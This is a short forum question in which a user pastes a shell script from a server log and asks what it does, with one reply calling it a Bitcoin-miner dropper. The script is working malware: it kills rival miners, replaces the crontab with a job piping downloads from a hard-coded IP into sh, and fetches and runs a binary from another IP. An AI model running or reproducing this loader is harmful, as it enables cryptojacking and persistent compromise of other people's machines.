Found this shell script was executed in my python server log. Can anyone tell me it's purpose?

Viewed 1011

The code below showed up in my python3 server log, on my Ubuntu 20.04 Linux desktop system. Is it just my suspicious nature, or was this an attempt to hack my computer?

cc=http://31.42.177.123
sys=sysrv005
bit=$(getconf LONG_BIT)

ps aux | grep kthreaddi | grep tmp | awk '{print $2}' | xargs -I % kill -9 %
ps aux | egrep 'sysrv001|sysrv002|sysrv003|sysrv004|network01|network00' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep sysrv | grep -v 0 | awk '{print $2}' | xargs -I % kill -9 %
crontab -r
echo "*/30 * * * * (curl --user-agent curl_cron $cc||wget --user-agent wget_cron -q -O - $cc)|sh" | crontab -

#pkill -9 $sys
get() {
    chattr -i $2; rm -rf $2
    curl --user-agent curl_ldr$bit -fsSL $1 > $2 || wget --user-agent wget_ldr$bit -q -O - $1 > $2 || php -r "file_put_contents('$2', file_get_contents('$1'));"
    chmod +x $2
}

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
ps -fe | grep $sys | grep -v grep; if [ $? -ne 0 ]; then
    get 31.210.20.120/sysrvv $sys; ./$sys
fi
1 Answers

Yes it's a Bitcoin Miner.

31.42.177.123/... basically downloads the above shell script, which points to 31.210.20.120 to download the sysrvv file which is a Bitcoin miner.

Related